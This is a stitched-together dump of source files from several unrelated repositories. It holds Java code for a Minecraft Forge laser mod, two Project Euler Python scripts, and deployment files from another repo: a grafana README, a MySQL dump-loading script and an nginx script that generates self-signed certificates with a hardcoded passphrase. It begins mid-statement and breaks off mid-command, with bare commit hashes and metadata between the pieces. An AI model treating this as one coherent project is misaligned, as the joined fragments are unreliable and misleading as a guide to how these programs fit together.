enumfacing)) { this.dropBlockAsItem((World) worldIn, pos, state, 0); ((World) worldIn).setBlockToAir(pos); } } private boolean canBlockStay(World worldIn, BlockPos pos, EnumFacing facing) { return worldIn.getBlockState(pos.offset(facing.getOpposite())).isSideSolid(worldIn, pos.offset(facing.getOpposite()), facing); } @SuppressWarnings("deprecation") @Override public @Nonnull IBlockState getStateForPlacement(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer) { return getDefaultState().withProperty(FACING, facing); } @Override @SuppressWarnings("deprecation") public boolean isNormalCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isBlockNormalCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isOpaqueCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isFullCube(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isFullBlock(IBlockState state) { return false; } @Override @SuppressWarnings("deprecation") public boolean isSideSolid(IBlockState base_state, @Nonnull IBlockAccess world, @Nonnull BlockPos pos, EnumFacing side) { return false; } @Override public boolean isNormalCube(IBlockState state, IBlockAccess world, BlockPos pos) { return false; } @Override @SuppressWarnings("deprecation") public int getStrongPower(IBlockState state, IBlockAccess world, BlockPos pos, EnumFacing side) { return state.getValue(ON) ? 15 : 0; } @Override @SuppressWarnings("deprecation") public int getWeakPower(IBlockState blockState, IBlockAccess blockAccess, BlockPos pos, EnumFacing side) { return blockState.getValue(ON) ? 15 : 0; } @Override @SuppressWarnings("deprecation") public boolean canProvidePower(IBlockState state) { return true; } @Override public boolean canConnectRedstone(IBlockState state, IBlockAccess world, BlockPos pos, EnumFacing side) { return true; } @SuppressWarnings("deprecation") @Override public @Nonnull IBlockState getStateFromMeta(int meta) { return getDefaultState().withProperty(FACING, EnumFacing.byIndex(meta & 7)).withProperty(ON, (meta & 8) != 0); } @Override public int getMetaFromState(IBlockState state) { return state.getValue(FACING).getIndex() | (state.getValue(ON) ? 8 : 0); } @Override protected @Nonnull BlockStateContainer createBlockState() { return new BlockStateContainer(this, FACING, ON); } @Nullable @Override public IProperty<?>[] getIgnoredProperties() { return new IProperty[]{ON}; } @Override public boolean getWeakChanges(IBlockAccess world, BlockPos pos) { return true; } @Override public void randomTick(@Nonnull World worldIn, @Nonnull BlockPos pos, @Nonnull IBlockState state, @Nonnull Random random) { // NO-OP } @Override public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand) { worldIn.setBlockState(pos, worldIn.getBlockState(pos).withProperty(ON, false)); for (EnumFacing facing : EnumFacing.VALUES) worldIn.notifyNeighborsOfStateExcept(pos.offset(facing), this, facing.getOpposite()); } @Override public boolean handleBeam(@Nonnull World world, @Nonnull BlockPos pos, @Nonnull Beam beam) { world.setBlockState(pos, world.getBlockState(pos).withProperty(ON, true)); for (EnumFacing facing : EnumFacing.VALUES) world.notifyNeighborsOfStateExcept(pos.offset(facing), this, facing.getOpposite()); world.scheduleUpdate(pos, this, 20); return false; } @Override public boolean isToolEffective(String type, @Nonnull IBlockState state) { return Objects.equals(type, "pickaxe") || Objects.equals(type, ItemScrewDriver.SCREWDRIVER_TOOL_CLASS); } @Nullable @Override @SuppressWarnings("NullableProblems") public String getHarvestTool(@Nonnull IBlockState state) { return "pickaxe"; } } <file_sep>package com.teamwizardry.refraction.api.raytrace; import net.minecraft.util.math.Vec3d; /** * Created by TheCodeWarrior */ public class Tri { public Vec3d a, b, c; public Tri(Vec3d a, Vec3d b, Vec3d c) { this.a = a; this.b = b; this.c = c; } private static Vec3d intersectLineTriangle(Vec3d start, Vec3d end, Vec3d v1, Vec3d v2, Vec3d v3) { final double EPSILON = 1.0e-3; Vec3d dir = end.subtract(start).normalize(); Vec3d edge1 = v2.subtract(v1); Vec3d edge2 = v3.subtract(v1); Vec3d pVec = dir.crossProduct(edge2); double det = edge1.dotProduct(pVec); if (det > -EPSILON && det < EPSILON) return null; double invDet = 1.0 / det; Vec3d tVec = start.subtract(v1); double u = tVec.dotProduct(pVec) * invDet; if (u < 0 || u > 1) return null; Vec3d qVec = tVec.crossProduct(edge1); double v = dir.dotProduct(qVec) * invDet; if (v < 0 || u + v > 1) return null; double t = edge2.dotProduct(qVec) * invDet; return start.add(dir.scale(t)); // // Bring points to their respective coordinate frame // Vec3d pq = end.subtract(exciterPos); // Vec3d pa = end.subtract(a); // Vec3d pb = end.subtract(b); // Vec3d pc = end.subtract(c); // // Vec3d m = pq.crossProduct(pc); // // double u = pb.dotProduct(m); // double v = -pa.dotProduct(m); // // if (Math.signum(u) != Math.signum(v)) { // return null; // } // // // scalar triple product // double w = pq.dotProduct(pb.crossProduct(pa)); // // if (Math.signum(u) != Math.signum(w)) { // return null; // } // // double denom = 1.0 / (u + v + w); // // // r = ((u * denom) * a) + ((v * denom) * b) + ((w * denom) * c); // Vec3d compA = a.scale(u*denom); // Vec3d compB = b.scale(v*denom); // Vec3d compC = c.scale(w*denom); // // // store result in Vector r // double x = compA.xCoord + compB.xCoord + compC.xCoord; // double y = compA.yCoord + compB.yCoord + compC.yCoord; // double z = compA.zCoord + compB.zCoord + compC.zCoord; // // return new Vec3d(x, y, z); } public Vec3d normal() { return (b.subtract(a)).crossProduct(c.subtract(a)); } public Vec3d trace(Vec3d start, Vec3d end) { return intersectLineTriangle(start, end, a, b, c); } } <file_sep>package com.teamwizardry.refraction.common.network; import com.teamwizardry.librarianlib.features.network.PacketBase; import com.teamwizardry.refraction.client.render.LaserRenderer; import io.netty.buffer.ByteBuf; import net.minecraft.util.math.Vec3d; import net.minecraftforge.fml.common.network.simpleimpl.MessageContext; import java.awt.*; /** * Created by TheCodeWarrior */ public class PacketLaserFX extends PacketBase { public Vec3d start, end; public Color color; public PacketLaserFX() { } public PacketLaserFX(Vec3d start, Vec3d end, Color color) { this.start = start; this.end = end; this.color = color; } @Override public void handle(MessageContext ctx) { LaserRenderer.add(start, end, color); } @Override public void fromBytes(ByteBuf buf) { start = new Vec3d(buf.readFloat(), buf.readFloat(), buf.readFloat()); end = new Vec3d(buf.readFloat(), buf.readFloat(), buf.readFloat()); color = new Color(buf.readInt(), buf.readInt(), buf.readInt(), buf.readInt()); } @Override public void toBytes(ByteBuf buf) { buf.writeFloat((float) start.x); buf.writeFloat((float) start.y); buf.writeFloat((float) start.z); buf.writeFloat((float) end.x); buf.writeFloat((float) end.y); buf.writeFloat((float) end.z); buf.writeInt(color.getRed()); buf.writeInt(color.getGreen()); buf.writeInt(color.getBlue()); buf.writeInt(color.getAlpha()); } } <file_sep>package com.teamwizardry.refraction.common.entity; import com.google.common.collect.ImmutableList; import com.teamwizardry.librarianlib.features.base.entity.LivingBaseEntityMod; import com.teamwizardry.refraction.common.item.ItemLaserPen; import com.teamwizardry.refraction.init.ModItems; import io.netty.buffer.ByteBuf; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.inventory.EntityEquipmentSlot; import net.minecraft.item.ItemStack; import net.minecraft.network.datasync.DataParameter; import net.minecraft.network.datasync.DataSerializers; import net.minecraft.network.datasync.EntityDataManager; import net.minecraft.util.DamageSource; import net.minecraft.util.EnumHandSide; import net.minecraft.util.math.RayTraceResult; import net.minecraft.util.math.Vec3d; import net.minecraft.world.World; import net.minecraftforge.fml.common.registry.IEntityAdditionalSpawnData; import javax.annotation.Nonnull; import javax.annotation.Nullable; import java.lang.ref.WeakReference; import java.util.UUID; /** * Created by TheCodeWarrior */ public class EntityLaserPointer extends LivingBaseEntityMod implements IEntityAdditionalSpawnData { public static final DataParameter<Byte> AXIS_HIT = EntityDataManager.createKey(EntityLaserPointer.class, DataSerializers.BYTE); public static final DataParameter<Boolean> HAND_HIT = EntityDataManager.createKey(EntityLaserPointer.class, DataSerializers.BOOLEAN); private WeakReference<EntityPlayer> player; public EntityLaserPointer(World worldIn, EntityPlayer player, boolean hit) { super(worldIn); this.player = new WeakReference<>(player); this.setSize(0.1F, 0.1F); dataManager.set(HAND_HIT, hit); } public EntityLaserPointer(World worldIn) { super(worldIn); this.setSize(0.1F, 0.1F); } @Override public void onEntityUpdate() { } @Override protected void damageEntity(@Nonnull DamageSource damageSrc, float damageAmount) { // noop } @Override public boolean isInRangeToRenderDist(double distance) { return true; } @Override public boolean canBeCollidedWith() { return false; } @Override public void onUpdate() { updateRayPos(); } public void updateRayPos() { if (player == null || player.get() == null) { this.setDead(); } else if (player.get().getActiveItemStack().isEmpty() || player.get().getActiveItemStack().getItem() != ModItems.LASER_PEN) { this.setDead(); } else { RayTraceResult res = rayTrace(player.get(), ItemLaserPen.RANGE); Vec3d pos = null; if (res != null) { pos = res.hitVec; this.markPotionsDirty(); this.dataManager.set(AXIS_HIT, (byte) res.sideHit.getAxis().ordinal()); } else { pos = player.get().getLook(1).scale(ItemLaserPen.RANGE).add(player.get().getPositionEyes(1)); this.markPotionsDirty(); this.dataManager.set(AXIS_HIT, (byte) 255); } this.setPositionAndUpdate(pos.x, pos.y, pos.z); } } public RayTraceResult rayTrace(EntityPlayer player, double blockReachDistance) { Vec3d cross = player.getLook(1).crossProduct(new Vec3d(0, player.getEyeHeight(), 0)).normalize().scale(player.width / 2); if (!dataManager.get(HAND_HIT)) cross = cross.scale(-1); Vec3d vec3d = new Vec3d(player.posX + cross.x, player.posY + player.getEyeHeight() + cross.y, player.posZ + cross.z); Vec3d vec3d1 = this.getVectorForRotation(player.rotationPitch, player.rotationYawHead); Vec3d vec3d2 = vec3d.add(vec3d1.x * blockReachDistance, vec3d1.y * blockReachDistance, vec3d1.z * blockReachDistance); return player.world.rayTraceBlocks(vec3d, vec3d2, false, false, true); } @Nonnull @Override public EnumHandSide getPrimaryHand() { return null; } @Override protected void entityInit() { super.entityInit(); this.dataManager.register(AXIS_HIT, (byte) 0); this.dataManager.register(HAND_HIT, false); } @Nonnull @Override public Iterable<ItemStack> getArmorInventoryList() { return ImmutableList.of(); } @Nonnull @Override public ItemStack getItemStackFromSlot(EntityEquipmentSlot slotIn) { return ItemStack.EMPTY; } @Override public void setItemStackToSlot(EntityEquipmentSlot slotIn, @Nullable ItemStack stack) { } @Override public void writeSpawnData(ByteBuf buffer) { boolean b = player == null || player.get() == null; buffer.writeBoolean(b); if (!b) { EntityPlayer p = player.get(); if (p != null) { buffer.writeLong(p.getPersistentID().getMostSignificantBits()); buffer.writeLong(p.getPersistentID().getLeastSignificantBits()); } } } @Override public void readSpawnData(ByteBuf buffer) { boolean b = buffer.readBoolean(); if (!b) { UUID uuid = new UUID(buffer.readLong(), buffer.readLong()); player = new WeakReference<>(world.getPlayerEntityByUUID(uuid)); } } } <file_sep>package com.teamwizardry.refraction.init.recipies; import com.teamwizardry.refraction.api.ConfigValues; import com.teamwizardry.refraction.api.Constants; import com.teamwizardry.refraction.api.lib.LibOreDict; import com.teamwizardry.refraction.init.ModBlocks; import com.teamwizardry.refraction.init.ModItems; import net.minecraft.init.Blocks; import net.minecraft.init.Items; import net.minecraft.item.ItemStack; import net.minecraft.item.crafting.IRecipe; import net.minecraft.util.ResourceLocation; import net.minecraftforge.common.crafting.CraftingHelper; import net.minecraftforge.event.RegistryEvent; import net.minecraftforge.fml.common.Mod; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.minecraftforge.fml.common.registry.GameRegistry; import net.minecraftforge.oredict.ShapedOreRecipe; import net.minecraftforge.oredict.ShapelessOreRecipe; import net.minecraftforge.registries.IForgeRegistry; @Mod.EventBusSubscriber public class CraftingRecipes { public static void init() { GameRegistry.addShapedRecipe(ModBlocks.LENS.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModBlocks.LENS, 3), "AAA", 'A', "blockGlass"); GameRegistry.addShapedRecipe(ModBlocks.ASSEMBLY_TABLE.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModBlocks.ASSEMBLY_TABLE), "ABA", "A A", "AAA", 'A', "ingotIron", 'B', ModBlocks.LENS); GameRegistry.addShapedRecipe(ModBlocks.MAGNIFIER.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModBlocks.MAGNIFIER), "ABA", "A A", "A A", 'A', "ingotIron", 'B', ModBlocks.LENS); GameRegistry.addShapedRecipe(ModItems.SCREW_DRIVER.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.SCREW_DRIVER), " AA", " BA", "B ", 'A', "ingotIron", 'B', "stickWood"); GameRegistry.addShapedRecipe(ModItems.LASER_PEN.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.LASER_PEN), " A", " BC", "D ", 'A', Blocks.STONE_BUTTON, 'B', "dustRedstone", 'C', "ingotIron", 'D', "blockGlass"); GameRegistry.addShapedRecipe(ModBlocks.REFLECTIVE_ALLOY_BLOCK.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModBlocks.REFLECTIVE_ALLOY_BLOCK), "AAA", "AAA", "AAA", 'A', LibOreDict.REFLECTIVE_ALLOY); GameRegistry.addShapedRecipe(ModItems.GRENADE.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.GRENADE, 3), " A ", "ABA", " A ", 'A', LibOreDict.REFLECTIVE_ALLOY, 'B', Blocks.TNT); GameRegistry.addShapedRecipe(ModItems.HELMET.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.HELMET), "AAA", "A A", " ", 'A', LibOreDict.REFLECTIVE_ALLOY); GameRegistry.addShapedRecipe(ModItems.CHESTPLATE.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.CHESTPLATE), "A A", "AAA", "AAA", 'A', LibOreDict.REFLECTIVE_ALLOY); GameRegistry.addShapedRecipe(ModItems.LEGGINGS.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.LEGGINGS), "AAA", "A A", "A A", 'A', LibOreDict.REFLECTIVE_ALLOY); GameRegistry.addShapedRecipe(ModItems.BOOTS.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.BOOTS), " ", "A A", "A A", 'A', LibOreDict.REFLECTIVE_ALLOY); GameRegistry.addShapedRecipe(ModItems.LIGHT_CARTRIDGE.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.LIGHT_CARTRIDGE), " A ", "ABA", " A ", 'A', LibOreDict.REFLECTIVE_ALLOY, 'B', "paneGlass"); GameRegistry.addShapedRecipe(ModBlocks.SPECTROMETER.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModBlocks.SPECTROMETER), "ABC", "DEF", "DDD", 'A', "dyeRed", 'B', "dyeGreen", 'C', "dyeBlue", 'D', "ingotIron", 'F', "paneGlass", 'E', LibOreDict.REFLECTIVE_ALLOY); GameRegistry.addShapelessRecipe(ModItems.REFLECTIVE_ALLOY.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.REFLECTIVE_ALLOY, 2), CraftingHelper.getIngredient("ingotIron" ), CraftingHelper.getIngredient("ingotGold" )); GameRegistry.addShapelessRecipe(ModItems.BOOK.getRegistryName(), new ResourceLocation(Constants.MOD_ID), new ItemStack(ModItems.BOOK), CraftingHelper.getIngredient(ModItems.LASER_PEN), CraftingHelper.getIngredient(Items.BOOK)); if (!ConfigValues.DISABLE_PHOTON_CANNON) GameRegistry.addShapedRecipe(ModItems.PHOTON_CANNON.getRegistryName(), new ResourceLocation( Constants.MOD_ID ), new ItemStack(ModItems.PHOTON_CANNON), " BA", "CDB", "EC ", 'A', ModBlocks.LENS, 'B', ModBlocks.MIRROR, 'C', ModItems.REFLECTIVE_ALLOY, 'D', ModBlocks.ELECTRON_EXCITER, 'E', ModBlocks.SENSOR); } @SubscribeEvent public static void register(RegistryEvent.Register<IRecipe> evt) { IForgeRegistry<IRecipe> r = evt.getRegistry(); r.register(new RecipeScrewDriver().setRegistryName(path("screw_driver"))); } private static ResourceLocation path(String name) { return new ResourceLocation(Constants.MOD_ID, "recipe_" + name); } } <file_sep>package com.teamwizardry.refraction.client.core; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.FontRenderer; import net.minecraft.client.renderer.BufferBuilder; import net.minecraft.client.renderer.GlStateManager; import net.minecraft.client.renderer.RenderHelper; import net.minecraft.client.renderer.Tessellator; import net.minecraft.client.renderer.vertex.VertexBuffer; import net.minecraft.client.renderer.vertex.DefaultVertexFormats; import net.minecraft.util.EnumFacing; import net.minecraft.util.math.BlockPos; import net.minecraft.world.World; import java.util.List; // Code taken from McJtyLib public class HudRenderHelper { public static void renderHud(World world, EnumFacing orientation, BlockPos position, double x, double y, double z, List<String> text) { HudRenderHelper.HudPlacement hudPlacement = world.isAirBlock(position.up()) ? HudRenderHelper.HudPlacement.HUD_ABOVE : HudRenderHelper.HudPlacement.HUD_ABOVE_FRONT; HudRenderHelper.HudOrientation hudOrientation = HudOrientation.HUD_SOUTH; HudRenderHelper.renderHud(text, hudPlacement, hudOrientation, orientation, x, y, z); } public static void renderHud(World world, EnumFacing orientation, HudOrientation hudOrientation, BlockPos position, double x, double y, double z, List<String> text) { HudRenderHelper.HudPlacement hudPlacement = world.isAirBlock(position.up()) ? HudRenderHelper.HudPlacement.HUD_ABOVE : HudRenderHelper.HudPlacement.HUD_ABOVE_FRONT; boolean renderAllSides = false; if (hudOrientation == HudOrientation.HUD_TOPLAYER_HORIZ || hudOrientation == HudOrientation.HUD_TOPLAYER) { if (hudPlacement == HudPlacement.HUD_ABOVE_FRONT) renderAllSides = true; } if (renderAllSides) { HudRenderHelper.renderHud(text, hudPlacement, HudOrientation.HUD_SOUTH, EnumFacing.EAST, x, y, z); HudRenderHelper.renderHud(text, hudPlacement, HudOrientation.HUD_SOUTH, EnumFacing.WEST, x, y, z); HudRenderHelper.renderHud(text, hudPlacement, HudOrientation.HUD_SOUTH, EnumFacing.SOUTH, x, y, z); HudRenderHelper.renderHud(text, hudPlacement, HudOrientation.HUD_SOUTH, EnumFacing.NORTH, x, y, z); } else HudRenderHelper.renderHud(text, hudPlacement, hudOrientation, orientation, x, y, z); } public static void renderHud(List<String> messages, HudPlacement hudPlacement, HudOrientation hudOrientation, EnumFacing orientation, double x, double y, double z) { GlStateManager.pushMatrix(); if (hudPlacement == HudPlacement.HUD_FRONT) { GlStateManager.translate((float) x + 0.5F, (float) y + 0.75F, (float) z + 0.5F); } else if (hudPlacement == HudPlacement.HUD_CENTER) { GlStateManager.translate((float) x + 0.5F, (float) y + 0.5F, (float) z + 0.5F); } else { GlStateManager.translate((float) x + 0.5F, (float) y + 1.75F, (float) z + 0.5F); } GlStateManager.translate(0, -messages.size() / 10.0, 0); switch (hudOrientation) { case HUD_SOUTH: GlStateManager.rotate(-getHudAngle(orientation), 0.0F, 1.0F, 0.0F); break; case HUD_TOPLAYER_HORIZ: GlStateManager.rotate(-Minecraft.getMinecraft().getRenderManager().playerViewY, 0.0F, 1.0F, 0.0F); GlStateManager.rotate(180, 0.0F, 1.0F, 0.0F); break; case HUD_TOPLAYER: GlStateManager.rotate(-Minecraft.getMinecraft().getRenderManager().playerViewY, 0.0F, 1.0F, 0.0F); GlStateManager.rotate(Minecraft.getMinecraft().getRenderManager().playerViewX, 1.0F, 0.0F, 0.0F); GlStateManager.rotate(180, 0.0F, 1.0F, 0.0F); break; } if (hudPlacement == HudPlacement.HUD_FRONT || hudPlacement == HudPlacement.HUD_ABOVE_FRONT) { GlStateManager.translate(0.0F, -0.2500F, -0.4375F + .9); } else if (hudPlacement != HudPlacement.HUD_CENTER) { GlStateManager.translate(0.0F, -0.2500F, -0.4375F + .4); } GlStateManager.disableCull(); GlStateManager.disableTexture2D(); GlStateManager.enableBlend(); String longest = ""; FontRenderer fr = Minecraft.getMinecraft().fontRenderer; for (String s : messages) { if (fr.getStringWidth(s) > fr.getStringWidth(longest)) longest = s; } double width = fr.getStringWidth(longest) / 180.0; double height = messages.size() / 20.0; GlStateManager.translate(0, height, 0.04); Tessellator tessellator = Tessellator.getInstance(); BufferBuilder vertexbuffer = tessellator.getBuffer(); vertexbuffer.begin(7, DefaultVertexFormats.POSITION_COLOR); vertexbuffer.pos(-width, -height, 0.0D).color(0.0F, 0.0F, 0.0F, 0.25F).endVertex(); vertexbuffer.pos(-width, height, 0.0D).color(0.0F, 0.0F, 0.0F, 0.25F).endVertex(); vertexbuffer.pos(width, height, 0.0D).color(0.0F, 0.0F, 0.0F, 0.25F).endVertex(); vertexbuffer.pos(width, -height, 0.0D).color(0.0F, 0.0F, 0.0F, 0.25F).endVertex(); tessellator.draw(); GlStateManager.translate(0, -height, -0.04); GlStateManager.enableTexture2D(); RenderHelper.disableStandardItemLighting(); GlStateManager.disableBlend(); GlStateManager.disableLighting(); Minecraft.getMinecraft().entityRenderer.disableLightmap(); GlStateManager.translate(-0.5F, 0.5F, 0.05F); float f3 = 0.0075F; GlStateManager.scale(f3 * 1.0f, -f3 * 1.0f, f3); for (String s : messages) { fr.drawString(s, (int) ((fr.getStringWidth(longest) / 2) - (fr.getStringWidth(s) / 2.0) + (fr.getStringWidth(longest) / 2)), (int) ((messages.indexOf(s) * fr.FONT_HEIGHT) + (messages.size() * fr.FONT_HEIGHT / 2.0)), 0xFFFFFF); } Minecraft.getMinecraft().entityRenderer.enableLightmap(); RenderHelper.enableStandardItemLighting(); GlStateManager.enableLighting(); GlStateManager.enableBlend(); GlStateManager.popMatrix(); } private static float getHudAngle(EnumFacing orientation) { float f3 = 0.0f; if (orientation != null) { switch (orientation) { case NORTH: f3 = 180.0F; break; case WEST: f3 = 90.0F; break; case EAST: f3 = -90.0F; break; default: f3 = 0.0f; } } return f3; } private static void renderText(FontRenderer fontrenderer, List<String> messages) { GlStateManager.translate(-0.5F, 0.5F, 0.05F); float f3 = 0.0075F; GlStateManager.scale(f3 * 1.0f, -f3 * 1.0f, f3); GlStateManager.glNormal3f(0.0F, 0.0F, 1.0F); GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); renderLog(fontrenderer, messages); } private static void renderLog(FontRenderer fontrenderer, List<String> messages) { int currenty = 7; int height = 10; int logsize = messages.size(); int i = 0; for (String s : messages) { fontrenderer.drawString(s, 0, fontrenderer.FONT_HEIGHT * i, 0xFFFFFF); i++; //if (i >= logsize - 11) { // // Check if this module has enough room // if (currenty + height <= 124) { // fontrenderer.drawString(fontrenderer.trimStringToWidth(s, 115), 65 - (fontrenderer.getStringWidth(s) / 2), currenty, 0xffffff); // currenty += height; // } //} //i++; } } public enum HudPlacement { HUD_ABOVE, HUD_ABOVE_FRONT, HUD_FRONT, HUD_CENTER } public enum HudOrientation { HUD_SOUTH, HUD_TOPLAYER_HORIZ, HUD_TOPLAYER } } <file_sep>mod_version=1.9 patch_version=10 mc_version=1.12.2 forge_version=14.23.5.2768 mcp_version=stable_39 jei_version=4.14.3.+ liblib_version=4.16 ct_version=4.1.9.6 tesla_version=1.0.63<file_sep>package com.teamwizardry.refraction.client.gui.builder; import com.teamwizardry.librarianlib.features.gui.EnumMouseButton; import com.teamwizardry.librarianlib.features.gui.components.ComponentList; import com.teamwizardry.librarianlib.features.gui.mixin.ButtonMixin; import com.teamwizardry.librarianlib.features.sprite.Sprite; import com.teamwizardry.refraction.client.gui.LeftSidebar; /** * Created by Demoniaque. */ public class ModeSelector extends LeftSidebar { public ModeSelector(ComponentList list, GuiBuilder builder, GuiBuilder.Mode mode, String title, Sprite icon, boolean defaultSelected) { super(list, title, icon, defaultSelected, true); component.BUS.hook(ButtonMixin.ButtonClickEvent.class, (event -> { if (event.getButton() == EnumMouseButton.LEFT) builder.selectedMode = mode; })); } } <file_sep>package com.teamwizardry.refraction.common.core; import com.teamwizardry.refraction.common.entity.EntityLaserPointer; import net.minecraft.entity.ai.EntityAINearestAttackableTarget; import net.minecraft.entity.passive.EntityOcelot; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.event.entity.EntityJoinWorldEvent; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; /** * Created by TheCodeWarrior */ public class CatChaseHandler { public static final CatChaseHandler INSTANCE = new CatChaseHandler(); private CatChaseHandler() { MinecraftForge.EVENT_BUS.register(this); } @SubscribeEvent public void spawn(EntityJoinWorldEvent event) { if (event.getEntity() instanceof EntityOcelot) { ((EntityOcelot) event.getEntity()).targetTasks.addTask(2, new EntityAINearestAttackableTarget<>(((EntityOcelot) event.getEntity()), EntityLaserPointer.class, true, true)); } } }
b222202c8d782ef86e0ccc8328905acd2a3825dd
[ "Markdown", "Java", "INI", "Gradle" ]
64
Java
TeamWizardry/TMT-Refraction
2b260b3a57f210e473eab5fe53fbba1c65c4c443
bc73eb41bfad9d7035486387c5df9971d412c4d0
refs/heads/master
<repo_name>odonnell31/project-euler<file_sep>/PE_002.py # -*- coding: utf-8 -*- """ Created on Fri Apr 3 17:14:45 2020 @author: ODsLaptop """ ''' ProjectEuler.net -- Problem 2 Each new term in the Fibonacci sequence is generated by adding the previous two terms. By starting with 1 and 2, the first 10 terms will be: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, ... By considering the terms in the Fibonacci sequence whose values do not exceed four million, find the sum of the even-valued terms. ''' def fibonacci_sums(term1, term2, sum_of_evens, max_value): # sum terms 1 and 2 to get the new term new_term = term1 + term2 # reset the values of term1 and term2 term1 = term2 term2 = new_term # add to the total sum of evens new_sum_of_evens = sum_of_evens if term2 % 2 == 0: new_sum_of_evens = sum_of_evens + term2 if (term1+term2) < max_value: #print(term2, new_sum_of_evens, " going again!") fibonacci_sums(term1, term2, new_sum_of_evens, max_value) else: print("highest term:", term2, ",sum of even fib numbers:", new_sum_of_evens) fibonacci_sums(1, 2, 2, 4000000)<file_sep>/PE_001.py # -*- coding: utf-8 -*- """ Created on Sat Jun 30 08:12:36 2018 @author: ODsLaptop """ # natural numbers: positive whole integers # find the sum of all the multiples of 3 and 5 below 1000 def NNSumBelowNum(num): num_sum = 0 #num = (num/2) + 1 num_range = range(1,num) for i in num_range: if (i%3 ==0) or (i%5 == 0): num_sum = num_sum+i print num_sum NNSumBelowNum(1000) #233168
31073cd26f1a6e43a3aa775bd8ab375a074fb651
[ "Python" ]
2
Python
odonnell31/project-euler
6ce482ea20356ee428e5d8fb0c05adbed728a8f8
ce9129e94e2f979414007486dfda0d1cdcef5a32
refs/heads/master
<repo_name>ballab1/production-s3<file_sep>/grafana/README.md # grafana installation: <bash> mkdir /opt/grafana groupadd grafana useradd -u 104 -g grafana -G qemu -d /opt/grafana grafana </bash> <file_sep>/mysql/docker-entrypoint-initdb.sh #!/bin/bash function loadDb() { local -r datafile=$1 local -r dbname=$(basename "$datafile" .sql) local sqlcmd=( "${mysql[@]}" ) echo "Loading ${dbname} from ${datafile}" echo "create database if not exists ${dbname};" | "${sqlcmd[@]}" echo "source ${datafile}" | "${sqlcmd[@]}" "$dbname" } declare -r cwd=$( dirname "${BASH_SOURCE[0]}" ) declare mysql=( mysql -uroot -p"$MYSQL_ROOT_PASSWORD" -hlocalhost ) for f in "${cwd}/dumps"/*; do case "$f" in *.sql) loadDb "$f"; echo ;; # *.sql.gz) echo "$0: running $f"; gunzip -c "$f" | "${mysql[@]}"; echo ;; *) echo "$0: ignoring $f" ;; esac echo done echo 'show databases;' | "${mysql[@]}" <file_sep>/nginx.setup #!/bin/bash ############################################################################# # # initialization for nginx # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/nginx" declare -r workspace_dir="${WORKSPACE_DIR:?}/nginx" declare -r www_dir="${WORKSPACE_DIR:?}/www" declare -r secrets_dir="${SECRETS_DIR:?}" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: if [ ! -e "${www_dir}/index.html" ]; then mkdir -p "$www_dir" ||: echo 'unpacking recipes' >&2 tar -xzf ~/src/recipes.tgz -C "$www_dir" fi mkdir -p "$secrets_dir" ||: declare -r dc_json="$(lib.yamlToJson "${WORKSPACE_DIR}/docker-compose.yml")" declare -A CERTS=() for key in 'dhparam.pem' 'server.key' 'server.crt' 'server.csr'; do CERTS["$key"]=${WORKSPACE_DIR}/$(jq --compact-output --monochrome-output --raw-output 'try .secrets."'$key'".file' <<< "$dc_json") [[ "${CERTS[$key]:-}" && "${CERTS['$key']}" != 'null' ]] && continue CERTS["$key"]="${secrets_dir}/$key" done # ensure we have self signed certs (incase they are not include in secrets dir if [ ! -e "${CERTS['dhparam.pem']}" ] || [ ! -e "${CERTS['server.key']}" ] || [ ! -e "${CERTS['server.crt']}" ]; then term.log '>> GENERATING SSL CERT\n' 'lt_magenta' declare tmp=$(mktemp -d) openssl genrsa -des3 -passout pass:wxyz -out "${tmp}/server.pass.key" 2048 openssl rsa -passin pass:wxyz -in "${tmp}/server.pass.key" -out "${CERTS['server.key']}" openssl dhparam -out "${CERTS['dhparam.pem']}" 2048 openssl req -new -key "${CERTS['server.key']}" -subj "/C=US/ST=Massachusetts/L=Mansfield/O=soho_ball/OU=home/OU=docker.nginx.io/CN=$(hostname)" -out "${CERTS['server.csr']}" openssl x509 -req -sha256 -days 300065 -in "${CERTS['server.csr']}" -signkey "${CERTS['server.key']}" -out "${CERTS['server.crt']}" openssl genrsa -des3 -passout pass:wxyz -out "${tmp}/client.pass.key" 2048 openssl rsa -passin pass:<PASSWORD> -in "${tmp}/client.pass.key" -out client.key rm client.pass.key openssl req -new -key client.key -subj 